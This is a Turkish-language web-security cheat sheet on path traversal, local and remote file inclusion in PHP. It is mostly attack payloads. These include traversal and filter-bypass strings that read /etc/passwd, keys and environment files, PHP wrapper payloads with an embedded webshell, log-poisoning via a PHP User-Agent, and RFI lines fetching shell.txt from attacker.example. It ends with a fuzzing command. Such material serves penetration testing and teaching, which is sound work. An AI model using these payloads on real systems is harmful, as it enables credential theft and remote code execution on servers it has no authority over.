Path Traversal & File Inclusion
OWASP · Injection / Broken Access Control difficulty: orta
Path Traversal (dizin gezinme), uygulamanın dosya yolu için kullandığı girdinin kısıtlanmaması sonucu web kökü dışındaki dosyalara erişimdir. File Inclusion ise bu dosyanın uygulama tarafından dahil edilip çalıştırılmasıdır (özellikle PHP include/require). Path traversal sadece okuma verir; LFI/RFI kod çalıştırmaya kadar gidebilir.
Path Traversal
Section titled “Path Traversal”?file=../../../../etc/passwd?file=..\..\..\..\windows\win.ini?download=....//....//....//etc/passwdHedef dosyalar (Linux): /etc/passwd, /etc/hosts, web config (/var/www/html/…, .env), uygulama kaynak kodu, SSH anahtarları, proc fs (/proc/self/environ, /proc/self/cmdline).
Windows: C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts, IIS web.config, bağlantı dizeleri.
Filtre atlatma
Section titled “Filtre atlatma”....//....//etc/passwd # "../" tek geçişli strip..././..././etc/passwd..\/..\/etc/passwd%2e%2e%2f%2e%2e%2f # URL encode%2e%2e%5c # backslash encode..%252f..%252f # çift encode..%c0%af..%c0%af # overlong UTF-8 (eski)/var/www/images/../../../etc/passwd # base path + traversal../../../etc/passwd%00.png # null byte (eski PHP < 5.3)....\/....\/etc/passwdPrefix zorunluysa (/var/www/images/):
?file=/var/www/images/../../../etc/passwdSuffix zorunluysa (.png): wrapper veya null byte (eski sürümler); modernde çoğu zaman LFI wrapper gerekir.
Local File Inclusion (LFI)
Section titled “Local File Inclusion (LFI)”// Güvensizinclude($_GET['page'] . '.php');?page=../../../../etc/passwd%00 # tarihsel?page=../../../../etc/passwd # eğer suffix yoksa / wrapper ilePHP wrapper’ları
Section titled “PHP wrapper’ları”# Kaynak kodu oku (base64)php://filter/convert.base64-encode/resource=indexphp://filter/read=string.rot13/resource=configphp://filter/convert.iconv.utf-8.utf-16/resource=index# data:// ile kod çalıştır (allow_url_include benzeri koşullar)data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==data://text/plain,<?php system($_GET['c']); ?># expect eklentisiexpect://id# input / pharphp://input # POST gövdesinde PHP (koşullu)phar://upload.phar # phar deserialization ile birleşebilirphp://filter çoğu zaman sadece okuma için yeterlidir ve RCE gerektirmez — kaynak kod / credentials sızdırma için birincil araçtır.
LFI → RCE teknikleri
Section titled “LFI → RCE teknikleri”-
Log poisoning — User-Agent / URL’ye PHP yaz: Sonra: ?page=/var/log/apache2/access.log&c=id (nginx: /var/log/nginx/access.log , SSH: /var/log/auth.log )
GET / HTTP/1.1Host: hedefUser-Agent: <?php system($_GET['c']); ?> -
Session dosyası — oturum değerine PHP koy, sonra /var/lib/php/sessions/sess_
<id>dahil et. -
Upload + LFI — görsel olarak yüklenen dosyaya PHP göm, ?page=uploads/avatar.jpg ile include et.
-
** /proc/self/fd /environ** — ortam değişkenleri veya açık fd üzerinden kontrol edilebilir içerik.
-
PHP PEAR / tmp dosyaları — yarış veya bilinen temp yolları.
Remote File Inclusion (RFI)
Section titled “Remote File Inclusion (RFI)”allow_url_include=On ve allow_url_fopen ile uzak dosya dahil edilebilir:
?page=http://attacker.example/shell.txt?page=http://attacker.example/shell.txt??page=\\attacker.example\share\shell.php # SMB (Windows PHP)Modern PHP’de varsayılan kapalıdır; yine de eski / özel yapılandırmalarda görülür.
Tespit checklist
Section titled “Tespit checklist”# Parametre adlarıfile, page, path, template, include, doc, folder, root, style, pdf, lang# Hata farkıgeçerli dosya vs ../../../../etc/passwd vs rastgele string# null / wrapper denemeleriphp://filter/... ve ....// varyantlarıffuf -u 'https://hedef/view?file=FUZZ' -w lfi-wordlist.txt -mc 200 -fs <len>